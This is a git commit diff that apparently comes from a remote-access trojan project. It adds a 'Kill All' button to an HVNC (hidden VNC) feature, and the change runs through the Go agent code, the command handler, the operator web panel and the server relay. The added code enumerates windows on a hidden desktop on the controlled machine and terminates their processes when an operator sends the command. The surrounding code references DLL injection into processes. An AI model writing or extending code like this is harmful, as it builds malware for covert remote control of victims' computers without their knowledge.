kill all process in hvnc button

This commit is contained in:
KingKDot
2026-04-24 09:53:28 -05:00
parent 4676f95184
commit b51c187c20
6 changed files with 61 additions and 0 deletions
@@ -58,3 +58,7 @@ func HVNCInputMouseWheel(delta int32) error {
func HVNCAutoStartExplorer() error { func HVNCAutoStartExplorer() error {
return errors.New("HVNC not supported on this platform") return errors.New("HVNC not supported on this platform")
} }
func HVNCKillAll() error {
return errors.New("HVNC not supported on this platform")
}
@@ -47,6 +47,8 @@ var (
procToUnicode = user32.NewProc("ToUnicode") procToUnicode = user32.NewProc("ToUnicode")
procGetWindowPlacement = user32.NewProc("GetWindowPlacement") procGetWindowPlacement = user32.NewProc("GetWindowPlacement")
procGetWindowThreadProcessId = user32.NewProc("GetWindowThreadProcessId") procGetWindowThreadProcessId = user32.NewProc("GetWindowThreadProcessId")
procEnumDesktopWindows = user32.NewProc("EnumDesktopWindows")
procTerminateProcess = kernel32.NewProc("TerminateProcess")
) )
const ( const (
@@ -561,6 +563,39 @@ func StartHVNCProcess(filePath string, operaPatch bool) error {
return nil return nil
} }
func HVNCKillAll() error {
hvncDesktopMu.Lock()
deskHandle := hvncDesktopHandle
hvncDesktopMu.Unlock()
if deskHandle == 0 {
return fmt.Errorf("HVNC desktop not initialized")
}
pids := make(map[uint32]struct{})
cb := syscall.NewCallback(func(hwnd, _ uintptr) uintptr {
var pid uint32
procGetWindowThreadProcessId.Call(hwnd, uintptr(unsafe.Pointer(&pid)))
if pid != 0 {
pids[pid] = struct{}{}
}
return 1 // continue enumeration
})
procEnumDesktopWindows.Call(deskHandle, cb, 0)
const PROCESS_TERMINATE = 0x0001
killed := 0
for pid := range pids {
hProc, _, _ := procOpenProcess.Call(PROCESS_TERMINATE, 0, uintptr(pid))
if hProc != 0 {
procTerminateProcess.Call(hProc, 1)
kernel32.NewProc("CloseHandle").Call(hProc)
killed++
}
}
log.Printf("hvnc: kill all: terminated %d processes across %d pids", killed, len(pids))
return nil
}
func HVNCAutoStartExplorer() error { func HVNCAutoStartExplorer() error {
if hvncExplorerStarted { if hvncExplorerStarted {
return nil return nil
@@ -1493,6 +1493,16 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
}) })
return nil return nil
case "hvnc_kill_all":
log.Printf("hvnc: kill all processes on hidden desktop")
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_kill_all", nil, func() {
if err := capture.HVNCKillAll(); err != nil {
log.Printf("hvnc: kill all failed: %v", err)
}
})
return nil
case "hvnc_browser_check": case "hvnc_browser_check":
log.Printf("hvnc: browser availability check requested") log.Printf("hvnc: browser availability check requested")
sendCommandResultSafe(env, cmdID, true, "") sendCommandResultSafe(env, cmdID, true, "")
+6
View File
@@ -55,6 +55,7 @@ import { checkFeatureAccess } from "./feature-gate.js";
const startBtn = document.getElementById("startBtn"); const startBtn = document.getElementById("startBtn");
const stopBtn = document.getElementById("stopBtn"); const stopBtn = document.getElementById("stopBtn");
const commandsBtn = document.getElementById("commandsBtn"); const commandsBtn = document.getElementById("commandsBtn");
const killAllBtn = document.getElementById("killAllBtn");
const fullscreenBtn = document.getElementById("fullscreenBtn"); const fullscreenBtn = document.getElementById("fullscreenBtn");
const mouseCtrl = document.getElementById("mouseCtrl"); const mouseCtrl = document.getElementById("mouseCtrl");
const kbdCtrl = document.getElementById("kbdCtrl"); const kbdCtrl = document.getElementById("kbdCtrl");
@@ -593,6 +594,11 @@ import { checkFeatureAccess } from "./feature-gate.js";
setStreamState("stopping", "Stopping stream"); setStreamState("stopping", "Stopping stream");
sendCmd("hvnc_stop", {}); sendCmd("hvnc_stop", {});
}); });
if (killAllBtn) {
killAllBtn.addEventListener("click", function () {
sendCmd("hvnc_kill_all", {});
});
}
fullscreenBtn.addEventListener("click", function () { fullscreenBtn.addEventListener("click", function () {
if (canvasContainer.requestFullscreen) { if (canvasContainer.requestFullscreen) {
canvasContainer.requestFullscreen(); canvasContainer.requestFullscreen();
+3
View File
@@ -70,6 +70,9 @@
<button id="commandsBtn" class="button ghost"> <button id="commandsBtn" class="button ghost">
<i class="fa-solid fa-terminal"></i><span>Commands</span> <i class="fa-solid fa-terminal"></i><span>Commands</span>
</button> </button>
<button id="killAllBtn" class="button ghost" title="Kill all programs running on the hidden desktop">
<i class="fa-solid fa-skull"></i><span>Kill All</span>
</button>
<button id="fullscreenBtn" class="button ghost"> <button id="fullscreenBtn" class="button ghost">
<i class="fa-solid fa-expand"></i><span>Fullscreen</span> <i class="fa-solid fa-expand"></i><span>Fullscreen</span>
</button> </button>
@@ -884,6 +884,9 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
opera_patch: Boolean(payload.opera_patch), opera_patch: Boolean(payload.opera_patch),
}); });
break; break;
case "hvnc_kill_all":
sendHVNCCommand(target, "hvnc_kill_all", {});
break;
case "hvnc_start_process_injected": { case "hvnc_start_process_injected": {
const dllData = getInjectionDllBytes(); const dllData = getInjectionDllBytes();
if (!dllData) { if (!dllData) {